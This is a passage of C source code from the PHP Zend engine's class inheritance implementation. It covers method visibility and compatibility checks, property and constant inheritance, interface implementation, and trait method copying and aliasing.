zend_error_noreturn(E_COMPILE_ERROR, "Cannot make static method %s::%s() non static in class %s", ZEND_FN_SCOPE_NAME(parent), ZSTR_VAL(child->common.function_name), ZEND_FN_SCOPE_NAME(child)); } } /* Disallow making an inherited method abstract. */ if (UNEXPECTED((child_flags & ZEND_ACC_ABSTRACT) > (parent_flags & ZEND_ACC_ABSTRACT))) { zend_error_noreturn(E_COMPILE_ERROR, "Cannot make non abstract method %s::%s() abstract in class %s", ZEND_FN_SCOPE_NAME(parent), ZSTR_VAL(child->common.function_name), ZEND_FN_SCOPE_NAME(child)); } if (parent_flags & ZEND_ACC_CHANGED) { child->common.fn_flags |= ZEND_ACC_CHANGED; } else { /* Prevent derived classes from restricting access that was available in parent classes */ if (UNEXPECTED((child_flags & ZEND_ACC_PPP_MASK) > (parent_flags & ZEND_ACC_PPP_MASK))) { zend_error_noreturn(E_COMPILE_ERROR, "Access level to %s::%s() must be %s (as in class %s)%s", ZEND_FN_SCOPE_NAME(child), ZSTR_VAL(child->common.function_name), zend_visibility_string(parent_flags), ZEND_FN_SCOPE_NAME(parent), (parent_flags&ZEND_ACC_PUBLIC) ? "" : " or weaker"); } else if (((child_flags & ZEND_ACC_PPP_MASK) < (parent_flags & ZEND_ACC_PPP_MASK)) && ((parent_flags & ZEND_ACC_PPP_MASK) & ZEND_ACC_PRIVATE)) { child->common.fn_flags |= ZEND_ACC_CHANGED; } } if (parent_flags & ZEND_ACC_PRIVATE) { child->common.prototype = NULL; } else if (parent_flags & ZEND_ACC_ABSTRACT) { child->common.fn_flags |= ZEND_ACC_IMPLEMENTED_ABSTRACT; child->common.prototype = parent; } else if (!(parent->common.fn_flags & ZEND_ACC_CTOR) || (parent->common.prototype && (parent->common.prototype->common.scope->ce_flags & ZEND_ACC_INTERFACE))) { /* ctors only have a prototype if it comes from an interface */ child->common.prototype = parent->common.prototype ? parent->common.prototype : parent; } if (child->common.prototype && ( child->common.prototype->common.fn_flags & ZEND_ACC_ABSTRACT )) { parent = child->common.prototype; } if (UNEXPECTED(!zend_do_perform_implementation_check(child, parent))) { int error_level; const char *error_verb; zend_string *method_prototype = zend_get_function_declaration(parent); zend_string *child_prototype = zend_get_function_declaration(child); if (child->common.prototype && ( child->common.prototype->common.fn_flags & ZEND_ACC_ABSTRACT )) { error_level = E_COMPILE_ERROR; error_verb = "must"; } else if ((parent->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE) && (!(child->common.fn_flags & ZEND_ACC_HAS_RETURN_TYPE) || !zend_do_perform_type_hint_check(child, child->common.arg_info - 1, parent, parent->common.arg_info - 1))) { error_level = E_COMPILE_ERROR; error_verb = "must"; } else { error_level = E_WARNING; error_verb = "should"; } zend_error(error_level, "Declaration of %s %s be compatible with %s", ZSTR_VAL(child_prototype), error_verb, ZSTR_VAL(method_prototype)); zend_string_free(child_prototype); zend_string_free(method_prototype); } } /* }}} */ static zend_function *do_inherit_method(zend_string *key, zend_function *parent, zend_class_entry *ce) /* {{{ */ { zval *child = zend_hash_find(&ce->function_table, key); if (child) { zend_function *func = (zend_function*)Z_PTR_P(child); zend_function *orig_prototype = func->common.prototype; do_inheritance_check_on_method(func, parent); if (func->common.prototype != orig_prototype && func->type == ZEND_USER_FUNCTION && func->common.scope != ce && !func->op_array.static_variables) { /* Lazy duplication */ zend_function *new_function = zend_arena_alloc(&CG(arena), sizeof(zend_op_array)); memcpy(new_function, func, sizeof(zend_op_array)); Z_PTR_P(child) = new_function; func->common.prototype = orig_prototype; } return NULL; } if (parent->common.fn_flags & (ZEND_ACC_ABSTRACT)) { ce->ce_flags |= ZEND_ACC_IMPLICIT_ABSTRACT_CLASS; } return zend_duplicate_function(parent, ce); } /* }}} */ static void do_inherit_property(zend_property_info *parent_info, zend_string *key, zend_class_entry *ce) /* {{{ */ { zval *child = zend_hash_find(&ce->properties_info, key); zend_property_info *child_info; if (UNEXPECTED(child)) { child_info = Z_PTR_P(child); if (UNEXPECTED(parent_info->flags & (ZEND_ACC_PRIVATE|ZEND_ACC_SHADOW))) { child_info->flags |= ZEND_ACC_CHANGED; } else { if (UNEXPECTED((parent_info->flags & ZEND_ACC_STATIC) != (child_info->flags & ZEND_ACC_STATIC))) { zend_error_noreturn(E_COMPILE_ERROR, "Cannot redeclare %s%s::$%s as %s%s::$%s", (parent_info->flags & ZEND_ACC_STATIC) ? "static " : "non static ", ZSTR_VAL(ce->parent->name), ZSTR_VAL(key), (child_info->flags & ZEND_ACC_STATIC) ? "static " : "non static ", ZSTR_VAL(ce->name), ZSTR_VAL(key)); } if (parent_info->flags & ZEND_ACC_CHANGED) { child_info->flags |= ZEND_ACC_CHANGED; } if (UNEXPECTED((child_info->flags & ZEND_ACC_PPP_MASK) > (parent_info->flags & ZEND_ACC_PPP_MASK))) { zend_error_noreturn(E_COMPILE_ERROR, "Access level to %s::$%s must be %s (as in class %s)%s", ZSTR_VAL(ce->name), ZSTR_VAL(key), zend_visibility_string(parent_info->flags), ZSTR_VAL(ce->parent->name), (parent_info->flags&ZEND_ACC_PUBLIC) ? "" : " or weaker"); } else if ((child_info->flags & ZEND_ACC_STATIC) == 0) { int parent_num = OBJ_PROP_TO_NUM(parent_info->offset); int child_num = OBJ_PROP_TO_NUM(child_info->offset); /* Don't keep default properties in GC (thry may be freed by opcache) */ zval_ptr_dtor_nogc(&(ce->default_properties_table[parent_num])); ce->default_properties_table[parent_num] = ce->default_properties_table[child_num]; ZVAL_UNDEF(&ce->default_properties_table[child_num]); child_info->offset = parent_info->offset; } } } else { if (UNEXPECTED(parent_info->flags & (ZEND_ACC_PRIVATE|ZEND_ACC_SHADOW))) { if (UNEXPECTED(ce->type & ZEND_INTERNAL_CLASS)) { child_info = zend_duplicate_property_info_internal(parent_info); } else { child_info = zend_duplicate_property_info(parent_info); } child_info->flags &= ~ZEND_ACC_PRIVATE; /* it's not private anymore */ child_info->flags |= ZEND_ACC_SHADOW; /* but it's a shadow of private */ } else { if (UNEXPECTED(ce->type & ZEND_INTERNAL_CLASS)) { child_info = zend_duplicate_property_info_internal(parent_info); } else { child_info = parent_info; } } _zend_hash_append_ptr(&ce->properties_info, key, child_info); } } /* }}} */ static inline void do_implement_interface(zend_class_entry *ce, zend_class_entry *iface) /* {{{ */ { if (!(ce->ce_flags & ZEND_ACC_INTERFACE) && iface->interface_gets_implemented && iface->interface_gets_implemented(iface, ce) == FAILURE) { zend_error_noreturn(E_CORE_ERROR, "Class %s could not implement interface %s", ZSTR_VAL(ce->name), ZSTR_VAL(iface->name)); } if (UNEXPECTED(ce == iface)) { zend_error_noreturn(E_ERROR, "Interface %s cannot implement itself", ZSTR_VAL(ce->name)); } } /* }}} */ ZEND_API void zend_do_inherit_interfaces(zend_class_entry *ce, const zend_class_entry *iface) /* {{{ */ { /* expects interface to be contained in ce's interface list already */ uint32_t i, ce_num, if_num = iface->num_interfaces; zend_class_entry *entry; if (if_num==0) { return; } ce_num = ce->num_interfaces; if (ce->type == ZEND_INTERNAL_CLASS) { ce->interfaces = (zend_class_entry **) realloc(ce->interfaces, sizeof(zend_class_entry *) * (ce_num + if_num)); } else { ce->interfaces = (zend_class_entry **) erealloc(ce->interfaces, sizeof(zend_class_entry *) * (ce_num + if_num)); } /* Inherit the interfaces, only if they're not already inherited by the class */ while (if_num--) { entry = iface->interfaces[if_num]; for (i = 0; i < ce_num; i++) { if (ce->interfaces[i] == entry) { break; } } if (i == ce_num) { ce->interfaces[ce->num_interfaces++] = entry; } } /* and now call the implementing handlers */ while (ce_num < ce->num_interfaces) { do_implement_interface(ce, ce->interfaces[ce_num++]); } } /* }}} */ static void do_inherit_class_constant(zend_string *name, zval *zv, zend_class_entry *ce, zend_class_entry *parent_ce) /* {{{ */ { if (!zend_hash_exists(&ce->constants_table, name)) { if (!Z_ISREF_P(zv)) { if (parent_ce->type == ZEND_INTERNAL_CLASS) { ZVAL_NEW_PERSISTENT_REF(zv, zv); } else { ZVAL_NEW_REF(zv, zv); } } if (Z_CONSTANT_P(Z_REFVAL_P(zv))) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } Z_ADDREF_P(zv); _zend_hash_append(&ce->constants_table, name, zv); } } /* }}} */ ZEND_API void zend_do_inheritance(zend_class_entry *ce, zend_class_entry *parent_ce) /* {{{ */ { zend_property_info *property_info; zend_function *func; zend_string *key; zval *zv; if (UNEXPECTED(ce->ce_flags & ZEND_ACC_INTERFACE)) { /* Interface can only inherit other interfaces */ if (UNEXPECTED(!(parent_ce->ce_flags & ZEND_ACC_INTERFACE))) { zend_error_noreturn(E_COMPILE_ERROR, "Interface %s may not inherit from class (%s)", ZSTR_VAL(ce->name), ZSTR_VAL(parent_ce->name)); } } else if (UNEXPECTED(parent_ce->ce_flags & (ZEND_ACC_INTERFACE|ZEND_ACC_TRAIT|ZEND_ACC_FINAL))) { /* Class declaration must not extend traits or interfaces */ if (parent_ce->ce_flags & ZEND_ACC_INTERFACE) { zend_error_noreturn(E_COMPILE_ERROR, "Class %s cannot extend from interface %s", ZSTR_VAL(ce->name), ZSTR_VAL(parent_ce->name)); } else if (parent_ce->ce_flags & ZEND_ACC_TRAIT) { zend_error_noreturn(E_COMPILE_ERROR, "Class %s cannot extend from trait %s", ZSTR_VAL(ce->name), ZSTR_VAL(parent_ce->name)); } /* Class must not extend a final class */ if (parent_ce->ce_flags & ZEND_ACC_FINAL) { zend_error_noreturn(E_COMPILE_ERROR, "Class %s may not inherit from final class (%s)", ZSTR_VAL(ce->name), ZSTR_VAL(parent_ce->name)); } } ce->parent = parent_ce; /* Inherit interfaces */ zend_do_inherit_interfaces(ce, parent_ce); /* Inherit properties */ if (parent_ce->default_properties_count) { zval *src, *dst, *end; if (ce->default_properties_count) { zval *table = pemalloc(sizeof(zval) * (ce->default_properties_count + parent_ce->default_properties_count), ce->type == ZEND_INTERNAL_CLASS); src = ce->default_properties_table + ce->default_properties_count; end = table + parent_ce->default_properties_count; dst = end + ce->default_properties_count; ce->default_properties_table = table; do { dst--; src--; ZVAL_COPY_VALUE(dst, src); } while (dst != end); pefree(src, ce->type == ZEND_INTERNAL_CLASS); end = ce->default_properties_table; } else { end = pemalloc(sizeof(zval) * parent_ce->default_properties_count, ce->type == ZEND_INTERNAL_CLASS); dst = end + parent_ce->default_properties_count; ce->default_properties_table = end; } src = parent_ce->default_properties_table + parent_ce->default_properties_count; do { dst--; src--; #ifdef ZTS if (parent_ce->type != ce->type) { ZVAL_DUP(dst, src); if (Z_OPT_CONSTANT_P(dst)) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } continue; } #endif ZVAL_COPY(dst, src); if (Z_OPT_CONSTANT_P(dst)) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } } while (dst != end); ce->default_properties_count += parent_ce->default_properties_count; } if (parent_ce->default_static_members_count) { zval *src, *dst, *end; if (ce->default_static_members_count) { zval *table = pemalloc(sizeof(zval) * (ce->default_static_members_count + parent_ce->default_static_members_count), ce->type == ZEND_INTERNAL_CLASS); src = ce->default_static_members_table + ce->default_static_members_count; end = table + parent_ce->default_static_members_count; dst = end + ce->default_static_members_count; ce->default_static_members_table = table; do { dst--; src--; ZVAL_COPY_VALUE(dst, src); } while (dst != end); pefree(src, ce->type == ZEND_INTERNAL_CLASS); end = ce->default_static_members_table; } else { end = pemalloc(sizeof(zval) * parent_ce->default_static_members_count, ce->type == ZEND_INTERNAL_CLASS); dst = end + parent_ce->default_static_members_count; ce->default_static_members_table = end; } src = parent_ce->default_static_members_table + parent_ce->default_static_members_count; do { dst--; src--; if (parent_ce->type == ZEND_INTERNAL_CLASS) { if (!Z_ISREF_P(src)) { ZVAL_NEW_PERSISTENT_REF(src, src); } } else { ZVAL_MAKE_REF(src); } ZVAL_COPY_VALUE(dst, src); Z_ADDREF_P(dst); if (Z_CONSTANT_P(Z_REFVAL_P(dst))) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } } while (dst != end); ce->default_static_members_count += parent_ce->default_static_members_count; if (ce->type == ZEND_USER_CLASS) { ce->static_members_table = ce->default_static_members_table; } else { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } } ZEND_HASH_FOREACH_PTR(&ce->properties_info, property_info) { if (property_info->ce == ce) { if (property_info->flags & ZEND_ACC_STATIC) { property_info->offset += parent_ce->default_static_members_count; } else { property_info->offset += parent_ce->default_properties_count * sizeof(zval); } } } ZEND_HASH_FOREACH_END(); if (zend_hash_num_elements(&parent_ce->properties_info)) { zend_hash_extend(&ce->properties_info, zend_hash_num_elements(&ce->properties_info) + zend_hash_num_elements(&parent_ce->properties_info), 0); ZEND_HASH_FOREACH_STR_KEY_PTR(&parent_ce->properties_info, key, property_info) { do_inherit_property(property_info, key, ce); } ZEND_HASH_FOREACH_END(); } if (zend_hash_num_elements(&parent_ce->constants_table)) { zend_hash_extend(&ce->constants_table, zend_hash_num_elements(&ce->constants_table) + zend_hash_num_elements(&parent_ce->constants_table), 0); ZEND_HASH_FOREACH_STR_KEY_VAL(&parent_ce->constants_table, key, zv) { do_inherit_class_constant(key, zv, ce, parent_ce); } ZEND_HASH_FOREACH_END(); } if (zend_hash_num_elements(&parent_ce->function_table)) { zend_hash_extend(&ce->function_table, zend_hash_num_elements(&ce->function_table) + zend_hash_num_elements(&parent_ce->function_table), 0); ZEND_HASH_FOREACH_STR_KEY_PTR(&parent_ce->function_table, key, func) { zend_function *new_func = do_inherit_method(key, func, ce); if (new_func) { _zend_hash_append_ptr(&ce->function_table, key, new_func); } } ZEND_HASH_FOREACH_END(); } do_inherit_parent_constructor(ce); if (ce->ce_flags & ZEND_ACC_IMPLICIT_ABSTRACT_CLASS && ce->type == ZEND_INTERNAL_CLASS) { ce->ce_flags |= ZEND_ACC_EXPLICIT_ABSTRACT_CLASS; } else if (!(ce->ce_flags & (ZEND_ACC_IMPLEMENT_INTERFACES|ZEND_ACC_IMPLEMENT_TRAITS))) { /* The verification will be done in runtime by ZEND_VERIFY_ABSTRACT_CLASS */ zend_verify_abstract_class(ce); } ce->ce_flags |= parent_ce->ce_flags & (ZEND_HAS_STATIC_IN_METHODS | ZEND_ACC_USE_GUARDS); } /* }}} */ static zend_bool do_inherit_constant_check(HashTable *child_constants_table, zval *parent_constant, zend_string *name, const zend_class_entry *iface) /* {{{ */ { zval *old_constant; if ((old_constant = zend_hash_find(child_constants_table, name)) != NULL) { if (!Z_ISREF_P(old_constant) || !Z_ISREF_P(parent_constant) || Z_REFVAL_P(old_constant) != Z_REFVAL_P(parent_constant)) { zend_error_noreturn(E_COMPILE_ERROR, "Cannot inherit previously-inherited or override constant %s from interface %s", ZSTR_VAL(name), ZSTR_VAL(iface->name)); } return 0; } return 1; } /* }}} */ static void do_inherit_iface_constant(zend_string *name, zval *zv, zend_class_entry *ce, zend_class_entry *iface) /* {{{ */ { if (do_inherit_constant_check(&ce->constants_table, zv, name, iface)) { if (!Z_ISREF_P(zv)) { if (iface->type == ZEND_INTERNAL_CLASS) { ZVAL_NEW_PERSISTENT_REF(zv, zv); } else { ZVAL_NEW_REF(zv, zv); } } Z_ADDREF_P(zv); if (Z_CONSTANT_P(Z_REFVAL_P(zv))) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } zend_hash_update(&ce->constants_table, name, zv); } } /* }}} */ ZEND_API void zend_do_implement_interface(zend_class_entry *ce, zend_class_entry *iface) /* {{{ */ { uint32_t i, ignore = 0; uint32_t current_iface_num = ce->num_interfaces; uint32_t parent_iface_num = ce->parent ? ce->parent->num_interfaces : 0; zend_function *func; zend_string *key; zval *zv; for (i = 0; i < ce->num_interfaces; i++) { if (ce->interfaces[i] == NULL) { memmove(ce->interfaces + i, ce->interfaces + i + 1, sizeof(zend_class_entry*) * (--ce->num_interfaces - i)); i--; } else if (ce->interfaces[i] == iface) { if (EXPECTED(i < parent_iface_num)) { ignore = 1; } else { zend_error_noreturn(E_COMPILE_ERROR, "Class %s cannot implement previously implemented interface %s", ZSTR_VAL(ce->name), ZSTR_VAL(iface->name)); } } } if (ignore) { /* Check for attempt to redeclare interface constants */ ZEND_HASH_FOREACH_STR_KEY_VAL(&ce->constants_table, key, zv) { do_inherit_constant_check(&iface->constants_table, zv, key, iface); } ZEND_HASH_FOREACH_END(); } else { if (ce->num_interfaces >= current_iface_num) { if (ce->type == ZEND_INTERNAL_CLASS) { ce->interfaces = (zend_class_entry **) realloc(ce->interfaces, sizeof(zend_class_entry *) * (++current_iface_num)); } else { ce->interfaces = (zend_class_entry **) erealloc(ce->interfaces, sizeof(zend_class_entry *) * (++current_iface_num)); } } ce->interfaces[ce->num_interfaces++] = iface; ZEND_HASH_FOREACH_STR_KEY_VAL(&iface->constants_table, key, zv) { do_inherit_iface_constant(key, zv, ce, iface); } ZEND_HASH_FOREACH_END(); ZEND_HASH_FOREACH_STR_KEY_PTR(&iface->function_table, key, func) { zend_function *new_func = do_inherit_method(key, func, ce); if (new_func) { zend_hash_add_new_ptr(&ce->function_table, key, new_func); } } ZEND_HASH_FOREACH_END(); do_implement_interface(ce, iface); zend_do_inherit_interfaces(ce, iface); } } /* }}} */ ZEND_API void zend_do_implement_trait(zend_class_entry *ce, zend_class_entry *trait) /* {{{ */ { uint32_t i, ignore = 0; uint32_t current_trait_num = ce->num_traits; uint32_t parent_trait_num = ce->parent ? ce->parent->num_traits : 0; for (i = 0; i < ce->num_traits; i++) { if (ce->traits[i] == NULL) { memmove(ce->traits + i, ce->traits + i + 1, sizeof(zend_class_entry*) * (--ce->num_traits - i)); i--; } else if (ce->traits[i] == trait) { if (i < parent_trait_num) { ignore = 1; } } } if (!ignore) { if (ce->num_traits >= current_trait_num) { if (ce->type == ZEND_INTERNAL_CLASS) { ce->traits = (zend_class_entry **) realloc(ce->traits, sizeof(zend_class_entry *) * (++current_trait_num)); } else { ce->traits = (zend_class_entry **) erealloc(ce->traits, sizeof(zend_class_entry *) * (++current_trait_num)); } } ce->traits[ce->num_traits++] = trait; } } /* }}} */ static zend_bool zend_traits_method_compatibility_check(zend_function *fn, zend_function *other_fn) /* {{{ */ { uint32_t fn_flags = fn->common.scope->ce_flags; uint32_t other_flags = other_fn->common.scope->ce_flags; return zend_do_perform_implementation_check(fn, other_fn) && ((other_fn->common.scope->ce_flags & ZEND_ACC_INTERFACE) || zend_do_perform_implementation_check(other_fn, fn)) && ((fn_flags & (ZEND_ACC_FINAL|ZEND_ACC_STATIC)) == (other_flags & (ZEND_ACC_FINAL|ZEND_ACC_STATIC))); /* equal final and static qualifier */ } /* }}} */ static void zend_add_magic_methods(zend_class_entry* ce, zend_string* mname, zend_function* fe) /* {{{ */ { if (zend_string_equals_literal(mname, ZEND_CLONE_FUNC_NAME)) { ce->clone = fe; fe->common.fn_flags |= ZEND_ACC_CLONE; } else if (zend_string_equals_literal(mname, ZEND_CONSTRUCTOR_FUNC_NAME)) { if (ce->constructor && (!ce->parent || ce->constructor != ce->parent->constructor)) { zend_error_noreturn(E_COMPILE_ERROR, "%s has colliding constructor definitions coming from traits", ZSTR_VAL(ce->name)); } ce->constructor = fe; fe->common.fn_flags |= ZEND_ACC_CTOR; } else if (zend_string_equals_literal(mname, ZEND_DESTRUCTOR_FUNC_NAME)) { ce->destructor = fe; fe->common.fn_flags |= ZEND_ACC_DTOR; } else if (zend_string_equals_literal(mname, ZEND_GET_FUNC_NAME)) { ce->__get = fe; ce->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(mname, ZEND_SET_FUNC_NAME)) { ce->__set = fe; ce->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(mname, ZEND_CALL_FUNC_NAME)) { ce->__call = fe; } else if (zend_string_equals_literal(mname, ZEND_UNSET_FUNC_NAME)) { ce->__unset = fe; ce->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(mname, ZEND_ISSET_FUNC_NAME)) { ce->__isset = fe; ce->ce_flags |= ZEND_ACC_USE_GUARDS; } else if (zend_string_equals_literal(mname, ZEND_CALLSTATIC_FUNC_NAME)) { ce->__callstatic = fe; } else if (zend_string_equals_literal(mname, ZEND_TOSTRING_FUNC_NAME)) { ce->__tostring = fe; } else if (zend_string_equals_literal(mname, ZEND_DEBUGINFO_FUNC_NAME)) { ce->__debugInfo = fe; } else if (ZSTR_LEN(ce->name) == ZSTR_LEN(mname)) { zend_string *lowercase_name = zend_string_tolower(ce->name); lowercase_name = zend_new_interned_string(lowercase_name); if (!memcmp(ZSTR_VAL(mname), ZSTR_VAL(lowercase_name), ZSTR_LEN(mname))) { if (ce->constructor && (!ce->parent || ce->constructor != ce->parent->constructor)) { zend_error_noreturn(E_COMPILE_ERROR, "%s has colliding constructor definitions coming from traits", ZSTR_VAL(ce->name)); } ce->constructor = fe; fe->common.fn_flags |= ZEND_ACC_CTOR; } zend_string_release(lowercase_name); } } /* }}} */ static void zend_add_trait_method(zend_class_entry *ce, const char *name, zend_string *key, zend_function *fn, HashTable **overriden) /* {{{ */ { zend_function *existing_fn = NULL; zend_function *new_fn; if ((existing_fn = zend_hash_find_ptr(&ce->function_table, key)) != NULL) { if (existing_fn->common.scope == ce) { /* members from the current class override trait methods */ /* use temporary *overriden HashTable to detect hidden conflict */ if (*overriden) { if ((existing_fn = zend_hash_find_ptr(*overriden, key)) != NULL) { if (existing_fn->common.fn_flags & ZEND_ACC_ABSTRACT) { /* Make sure the trait method is compatible with previosly declared abstract method */ if (UNEXPECTED(!zend_traits_method_compatibility_check(fn, existing_fn))) { zend_error_noreturn(E_COMPILE_ERROR, "Declaration of %s must be compatible with %s", ZSTR_VAL(zend_get_function_declaration(fn)), ZSTR_VAL(zend_get_function_declaration(existing_fn))); } } else if (fn->common.fn_flags & ZEND_ACC_ABSTRACT) { /* Make sure the abstract declaration is compatible with previous declaration */ if (UNEXPECTED(!zend_traits_method_compatibility_check(existing_fn, fn))) { zend_error_noreturn(E_COMPILE_ERROR, "Declaration of %s must be compatible with %s", ZSTR_VAL(zend_get_function_declaration(fn)), ZSTR_VAL(zend_get_function_declaration(existing_fn))); } return; } } } else { ALLOC_HASHTABLE(*overriden); zend_hash_init_ex(*overriden, 8, NULL, overriden_ptr_dtor, 0, 0); } zend_hash_update_mem(*overriden, key, fn, sizeof(zend_function)); return; } else if (existing_fn->common.fn_flags & ZEND_ACC_ABSTRACT && (existing_fn->common.scope->ce_flags & ZEND_ACC_INTERFACE) == 0) { /* Make sure the trait method is compatible with previosly declared abstract method */ if (UNEXPECTED(!zend_traits_method_compatibility_check(fn, existing_fn))) { zend_error_noreturn(E_COMPILE_ERROR, "Declaration of %s must be compatible with %s", ZSTR_VAL(zend_get_function_declaration(fn)), ZSTR_VAL(zend_get_function_declaration(existing_fn))); } } else if (fn->common.fn_flags & ZEND_ACC_ABSTRACT) { /* Make sure the abstract declaration is compatible with previous declaration */ if (UNEXPECTED(!zend_traits_method_compatibility_check(existing_fn, fn))) { zend_error_noreturn(E_COMPILE_ERROR, "Declaration of %s must be compatible with %s", ZSTR_VAL(zend_get_function_declaration(fn)), ZSTR_VAL(zend_get_function_declaration(existing_fn))); } return; } else if (UNEXPECTED(existing_fn->common.scope->ce_flags & ZEND_ACC_TRAIT)) { /* two traits can't define the same non-abstract method */ #if 1 zend_error_noreturn(E_COMPILE_ERROR, "Trait method %s has not been applied, because there are collisions with other trait methods on %s", name, ZSTR_VAL(ce->name)); #else /* TODO: better error message */ zend_error_noreturn(E_COMPILE_ERROR, "Trait method %s::%s has not been applied as %s::%s, because of collision with %s::%s", ZSTR_VAL(fn->common.scope->name), ZSTR_VAL(fn->common.function_name), ZSTR_VAL(ce->name), name, ZSTR_VAL(existing_fn->common.scope->name), ZSTR_VAL(existing_fn->common.function_name)); #endif } else { /* inherited members are overridden by members inserted by traits */ /* check whether the trait method fulfills the inheritance requirements */ do_inheritance_check_on_method(fn, existing_fn); fn->common.prototype = NULL; } } function_add_ref(fn); new_fn = zend_arena_alloc(&CG(arena), sizeof(zend_op_array)); memcpy(new_fn, fn, sizeof(zend_op_array)); fn = zend_hash_update_ptr(&ce->function_table, key, new_fn); zend_add_magic_methods(ce, key, fn); } /* }}} */ static void zend_fixup_trait_method(zend_function *fn, zend_class_entry *ce) /* {{{ */ { if ((fn->common.scope->ce_flags & ZEND_ACC_TRAIT) == ZEND_ACC_TRAIT) { fn->common.scope = ce; if (fn->common.fn_flags & ZEND_ACC_ABSTRACT) { ce->ce_flags |= ZEND_ACC_IMPLICIT_ABSTRACT_CLASS; } if (fn->type == ZEND_USER_FUNCTION && fn->op_array.static_variables) { ce->ce_flags |= ZEND_HAS_STATIC_IN_METHODS; } } } /* }}} */ static int zend_traits_copy_functions(zend_string *fnname, zend_function *fn, zend_class_entry *ce, HashTable **overriden, HashTable *exclude_table) /* {{{ */ { zend_trait_alias *alias, **alias_ptr; zend_string *lcname; zend_function fn_copy; /* apply aliases which are qualified with a class name, there should not be any ambiguity */ if (ce->trait_aliases) { alias_ptr = ce->trait_aliases; alias = *alias_ptr; while (alias) { /* Scope unset or equal to the function we compare to, and the alias applies to fn */ if (alias->alias != NULL && (!alias->trait_method->ce || fn->common.scope == alias->trait_method->ce) && ZSTR_LEN(alias->trait_method->method_name) == ZSTR_LEN(fnname) && (zend_binary_strcasecmp(ZSTR_VAL(alias->trait_method->method_name), ZSTR_LEN(alias->trait_method->method_name), ZSTR_VAL(fnname), ZSTR_LEN(fnname)) == 0)) { fn_copy = *fn; /* if it is 0, no modifieres has been changed */ if (alias->modifiers) { fn_copy.common.fn_flags = alias->modifiers | (fn->common.fn_flags ^ (fn->common.fn_flags & ZEND_ACC_PPP_MASK)); } lcname = zend_string_tolower(alias->alias); zend_add_trait_method(ce, ZSTR_VAL(alias->alias), lcname, &fn_copy, overriden); zend_string_release(lcname); /* Record the trait from which this alias was resolved. */ if (!alias->trait_method->ce) { alias->trait_method->ce = fn->common.scope; } } alias_ptr++; alias = *alias_ptr; } } if (exclude_table == NULL || zend_hash_find(exclude_table, fnname) == NULL) { /* is not in hashtable, thus, function is not to be excluded */ /* And how about ZEND_OVERLOADED_FUNCTION? */ memcpy(&fn_copy, fn, fn->type == ZEND_USER_FUNCTION? sizeof(zend_op_array) : sizeof(zend_internal_function)); /* apply aliases which have not alias name, just setting visibility */ if (ce->trait_aliases) { alias_ptr = ce->trait_aliases; alias = *alias_ptr; while (alias) { /* Scope unset or equal to the function we compare to, and the alias applies to fn */ if (alias->alias == NULL && alias->modifiers != 0 && (!alias->trait_method->ce || fn->common.scope == alias->trait_method->ce) && (ZSTR_LEN(alias->trait_method->method_name) == ZSTR_LEN(fnname)) && (zend_binary_strcasecmp(ZSTR_VAL(alias->trait_method->method_name), ZSTR_LEN(alias->trait_method->method_name), ZSTR_VAL(fnname), ZSTR_LEN(fnname)) == 0)) { fn_copy.common.fn_flags = alias->modifiers | (fn->common.fn_flags ^ (fn->common.fn_flags & ZEND_ACC_PPP_MASK)); /** Record the trait from which this alias was resolved. */ if (!alias->trait_method->ce) { alias->trait_method->ce = fn->common.scope; } } alias_ptr++; alias = *alias_ptr; } } zend_add_trait_method(ce, ZSTR_VAL(fn->common.function_name), fnname, &fn_copy, overriden); } return ZEND_HASH_APPLY_KEEP; } /* }}} */ static void zend_check_trait_usage(zend_class_entry *ce, zend_class_entry *trait) /* {{{ */ { uint32_t i; if (UNEXPECTED((trait->ce_flags & ZEND_ACC_TRAIT) != ZEND_ACC_TRAIT)) { zend_error_noreturn(E_COMPILE_ERROR, "Class %s is not a trait, Only traits may be used in 'as' and 'insteadof' statements", ZSTR_VAL(trait->name)); } for (i = 0; i < ce->num_traits; i++) { if (ce->traits[i] == trait) { return; } } zend_error_noreturn(E_COMPILE_ERROR, "Required Trait %s wasn't added to %s", ZSTR_VAL(trait->name), ZSTR_VAL(ce->name)); } /* }}} */ static void zend_traits_init_trait_structures(zend_class_entry *ce) /* {{{ */ { size_t i, j = 0; zend_trait_precedence **precedences; zend_trait_precedence *cur_precedence; zend_trait_method_reference *cur_method_ref; zend_string *lcname; zend_bool method_exists; /* resolve class references */ if (ce->trait_precedences) { i = 0; precedences = ce->trait_precedences; ce->trait_precedences = NULL; while ((cur_precedence = precedences[i])) { /** Resolve classes for all precedence operations. */ if (cur_precedence->exclude_from_classes) { cur_method_ref = cur_precedence->trait_method; if (!(cur_precedence->trait_method->ce = zend_fetch_class(cur_method_ref->class_name, ZEND_FETCH_CLASS_TRAIT|ZEND_FETCH_CLASS_NO_AUTOLOAD))) { zend_error_noreturn(E_COMPILE_ERROR, "Could not find trait %s", ZSTR_VAL(cur_method_ref->class_name)); } zend_check_trait_usage(ce, cur_precedence->trait_method->ce); /** Ensure that the preferred method is actually available. */ lcname = zend_string_tolower(cur_method_ref->method_name); method_exists = zend_hash_exists(&cur_method_ref->ce->function_table, lcname); zend_string_release(lcname); if (!method_exists) { zend_error_noreturn(E_COMPILE_ERROR, "A precedence rule was defined for %s::%s but this method does not exist", ZSTR_VAL(cur_method_ref->ce->name), ZSTR_VAL(cur_method_ref->method_name)); } /** With the other traits, we are more permissive. We do not give errors for those. This allows to be more defensive in such definitions. However, we want to make sure that the insteadof declaration is consistent in itself. */ j = 0; while (cur_precedence->exclude_from_classes[j].class_name) { zend_string* class_name = cur_precedence->exclude_from_classes[j].class_name; if (!(cur_precedence->exclude_from_classes[j].ce = zend_fetch_class(class_name, ZEND_FETCH_CLASS_TRAIT |ZEND_FETCH_CLASS_NO_AUTOLOAD))) { zend_error_noreturn(E_COMPILE_ERROR, "Could not find trait %s", ZSTR_VAL(class_name)); } zend_check_trait_usage(ce, cur_precedence->exclude_from_classes[j].ce); /* make sure that the trait method is not from a class mentioned in exclude_from_classes, for consistency */ if 